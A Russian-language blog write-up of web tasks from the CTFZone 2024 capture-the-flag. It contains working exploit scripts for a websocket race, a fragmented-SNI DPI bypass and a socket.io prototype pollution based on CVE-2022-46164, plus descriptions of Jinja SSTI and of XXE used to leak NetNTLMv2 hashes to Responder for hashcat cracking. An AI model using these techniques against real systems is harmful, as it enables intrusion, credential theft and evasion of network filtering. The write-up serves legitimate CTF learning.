Перейти к основному содержимому

WriteUp Web CTFZone 2024

·5 минут· loading · loading ·
Bebra
Web
Автор
Bebra
cR4.sh / Ношу кофе
Оглавление

welcome
Неделю назад прошел очередной ctfzone, хочу поделиться центролизованным райтапом на веб, надеюсь для многих будет полезно.

breathtaking-roulette
#

Блекбокс таск. Встречает игра - перестрелка на вебсокетах, которая при смерти будет вас унижать.

rulet1
Если поизучать процесс общения клиента с сервером по вебсокетам, после входа в комнату игрок при нажатии пробела отправляет shot месседж, на что сервер отвечает
rulet2
Пробуем добиться success=true, просто так, на рандоме, но не получается( Также можно случайно получить 404 статус код от сервера и залутать хинт, что стоит больше стрелять. Получается нужно попытаться отправить больше чем один шот за раунд. Сделать это можно несколькими способами, например, пропатчив js в своем браузере, чтобы он при вызове функции shoot отправлял много эмитов серверу.
rulet4
Либо можно написать сплойт

import socketio
import requests

sio = socketio.Client()
session = requests.Session()

IP = 'breathtaking-roulette.ctfz.zone'

@sio.on('shot_result')
def on_message(data):
    print(f'I received a message!{data}')

def start():
    id = session.post(f'http://{IP}/api/start')
    return session.cookies.get_dict()['session'],id.json()['room']

def get_messages(chat_uuid: str):
    try:
        sio.connect(f'http://{IP}', socketio_path='/api/socket.io')
        sio.emit('join_game', {'room': chat_uuid})
        
        for i in range(30):
            sio.emit('shot')
        sio.sleep(10) 
    except requests.exceptions.JSONDecodeError as e:
        print("JSON Decode Error:", e)
    except Exception as e:
        print("An error occurred:", e)
    finally:
        sio.disconnect()


cook, chat_id = start()
get_messages(chat_id)

И получить спустя >~10 шотов флаг

rulet3

Youtube unlock + revenge
#

Имеем whitebox deep packet inspection сервис, который проверяет, чтобы пользователи не могли сходить на домен youtube.com и остались без ежедневной 2х часовой порции шортсов :( По сути DPI сервер принимает на вход наш запрос, смотрит, чтобы в пакетах не было строки youtube.

                buf=sock.recv(BUFFER_SIZE)
                print(str(buf))
                if b'youtube' in buf:
                    print('BAN!!!')
                    continue

Далее пакеты передаются в nginx, который исходя из SNI выполняется редирект на один из вариантов. Нам надо на второй.

    upstream backend_default {
        server 127.0.0.1:4431;
    }

    upstream backend {
        server 127.0.0.1:4432;
    }

Пара слов о Server Name Indication (SNI). Аналогично с заголовком Host, говорящий хосту, на котором располагается несколько доменов, к какому именно он хочет обратиться, так и с SNI, для установления https соединения, сперва нужно совершить рукопожатие, а хедер host раньше этого самого рукопожатия отправить не получится. Подробнее про SNI

sni
В общем ситуация - нужно поставить в SNI youtube.com, но dpi не дает этого сделать. Байпасится выставлением в uppercase домена в SNI (потому что домены в интернетах case insensitive)
unlock
В результате получается обойти dpi, нас редиректит на ютуб видеоролик, содержащий флаг
unlock1

Revenge
#

Была также выпущена усложненная версия таска, в ней буфер приводится к ловеркейсу и обойти как раньше не получится, однако на деле таск в некотором роде ломался и его можно было решить без написания сплоита, просто переписав SNI. Основная идея усложнения в дроблении пакетов, чтобы строка youtube разбилась на несколько фрагментов. К сожалению, так как таск работал не по задумке, держите примерный сплойт.

import socket
import ssl

ciphers = 'ECDHE-RSA-AES128-GCM-SHA256:DHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA384:DHE-RSA-AES256-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES256-SHA:ECDHE-RSA-AES256-SHA:DHE-RSA-AES256-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES128-SHA:DHE-RSA-AES128-SHA:RSA-PSK-AES256-GCM-SHA384:DHE-PSK-AES256-GCM-SHA384:RSA-PSK-CHACHA20-POLY1305:DHE-PSK-CHACHA20-POLY1305:ECDHE-PSK-CHACHA20-POLY1305:AES256-GCM-SHA384:PSK-AES256-GCM-SHA384:PSK-CHACHA20-POLY1305:RSA-PSK-AES128-GCM-SHA256:DHE-PSK-AES128-GCM-SHA256:AES128-GCM-SHA256:PSK-AES128-GCM-SHA256:AES256-SHA256:AES128-SHA256:ECDHE-PSK-AES256-CBC-SHA384:ECDHE-PSK-AES256-CBC-SHA:SRP-RSA-AES-256-CBC-SHA:SRP-AES-256-CBC-SHA:RSA-PSK-AES256-CBC-SHA384:DHE-PSK-AES256-CBC-SHA384:RSA-PSK-AES256-CBC-SHA:DHE-PSK-AES256-CBC-SHA:AES256-SHA:PSK-AES256-CBC-SHA384:PSK-AES256-CBC-SHA:ECDHE-PSK-AES128-CBC-SHA256:ECDHE-PSK-AES128-CBC-SHA:SRP-RSA-AES-128-CBC-SHA:SRP-AES-128-CBC-SHA:RSA-PSK-AES128-CBC-SHA256:DHE-PSK-AES128-CBC-SHA256:RSA-PSK-AES128-CBC-SHA:DHE-PSK-AES128-CBC-SHA:AES128-SHA:PSK-AES128-CBC-SHA256:PSK-AES128-CBC-SHA'
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
ctx.set_ciphers(ciphers)

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect(('51.250.36.205', 443))


clientSSL1=ctx.wrap_socket(client, server_hostname='youtube.com')


clientSSL1.send("GET / HTTP/1.1\r\n".encode())
clientSSL1.send("Host: ".encode())
clientSSL1.send("you".encode())
clientSSL1.send("tube.com\r\n".encode())
clientSSL1.send("User-Agent: curl\r\n\r\n".encode())

print(clientSSL1.recv(1024).decode())
clientSSL1.close()

unlock2

0ld_b4t_g0ld
#

Blackbox. Достаточно печально работал, но не будем о грустном. Из функционала логинка, создание заметок.

old1
Создавая заметку, приглядимся к ручке, на которую происходит запрос - /api/v2/UserComments. Что же будет, если поменять версию апи???? А вот, станет доступен ввод параметр username
old2
Проводя обычные операции тестирования параметра доходим до {{7*7}} и получаем 49 - скорее всего перед нами jinja flask ssti, перебираем нагрузы, и теория оказывается верна. Остается катнуть флаг.
old3

Corporate Notes
#

Blackbox, но дан apk. Имеем мобилку, функционал создания заметок, логинка с гугл капчей. Через jadx видим, что есть ssl pining, а также раскрываются некоторые эндпоинты апи. Для тестирования апи потребуется запустить приложение либо на эмуляторе, либо на физическом дебильнике, а также обойти пининг через фриду (увы это не статья по мобилкам, поэтому без углубления), но вот гайд как начать пенкекать мобилки. Также дополню, если эмулятор - то нужны гугло сервисы, иначе не будет работать капча, ну и в целом, капчу пройти без устройства не получится.

not1
Немного пофазив директории апи натыкаемся на свагер по дефолтному роуту /swagger/v1/swagger.yaml.
not2
Тут замечаем, что на объект при создании записки поддерживается Content-Type xml, что наводит на мысли провести XXE атаку
not3
Пытаемся прочитать дефолтные линуховые файлы, но ничего нет. А вот еще из тестирования апи можно было добиться специфичных ASPNET’у ошибок. Читаем C:\windows\win.ini и точно подтверждаем, что это винда. А если это винда, то можно стриггерить тачку пройти ntlm аутентификацию на внешнем сервере, перехватив тем самым NetNTLMv2 хеш. На пикче выше пытаемся прочитать файл с внешней якобы smb файловой шары. Перед этим обязательно поднимаем респондер.
not4
Теперь же, остается лишь сбрутать в хешкате полученный хеш по 5600 моду, используя дефолтный рокъю.
not5
Получаем креды админа, под ними заходим в приложение и ловим долгожданный флаг.
not6

Funny buttons
#

Whitebox. Чуток о функционале: кнопки со смешными звуками, у объекта кнопки есть поле funny, в которых можно положить какую-то информацию. Мы можем достать funny по-соответствующему uid сокет сессии, флаг лежит в одной из кнопок сессии админа (uid=1)

Заглянув в index.js, видим, что Namespaces объявлен как пустой объект, а он наследует свойства прототипа, что дает возможность загрязнить этот самый прототип через конструктор.

let Namespaces = {};
...
function requireModules() {
  var modules = [
    'user',
    'button',
    'room'
  ];

  modules.forEach(function (module) {
    Namespaces[module] = require('./' + module);
  });
}

Вектор тут таков - вызываем constructor, а у него есть функция assign, куда мы передадим, какой переменной какое значение хотим задать. Получается засылаем 421["constructor.assign",{"uid":1}] и перезаписывает uid своей сессии и далее гетаем все кнопочки.

Таска была основана на (CVE-2022-46164)[https://thegreycorner.com/2023/01/04/CVE-2022-46164-writeup.html], там более подробный разбор уязвимости.

Ну и наконец сплойт

import socketio
import asyncio
import httpx
import random
import string


# BASE_URL = "http://localhost:3000"
BASE_URL = "http://funny-buttons.ctfz.zone"


def button_id():
    return random.randint(1, 25)


def random_string(length: int = 32):
    return "".join(random.choice(string.ascii_lowercase) for _ in range(length))


async def main():
    async with httpx.AsyncClient() as client:
        user = random_string(8)
        password = random_string(8)
        rsp = await client.post(
            f"{BASE_URL}/register",
            data={"name": user, "password": password},
            follow_redirects=True
        )
        assert rsp.status_code == 200
        rsp = await client.post(
            f"{BASE_URL}/login",
            data={"name": user, "password": password},
        )
        print(client.cookies)

    async with socketio.AsyncSimpleClient() as sio:
        await sio.connect(
            f'{BASE_URL}',
            headers={
                "Cookie": f"connect.sid={client.cookies['connect.sid']}",
            },
        )

        async def communicate(msg: str, data, receive_response: bool = True):
            print(f'Sending {msg} with {data = }')
            await sio.emit(msg, data)
            if receive_response:
                method, resp = await sio.receive()
                print(f'Received response for {method}: {resp}')
                return resp
            return None

        await communicate("constructor.assign", {"uid": 1}, False)
        await communicate("user.getInfo", {})
        for uid in range(1,25):
            resp = {'pressed': False}
            while not resp['pressed']:
                resp = await communicate("button.press", {"id": uid})
            await communicate("button.get", {"id": uid})


if __name__ == '__main__':
    asyncio.run(main())

End
#

Вот и все, надеюсь все понятно и понравилось. В целом таски хорошие, за исключением нескольких… Всем бобра, ну и обязательно приготовьте свиной творог.

tvorog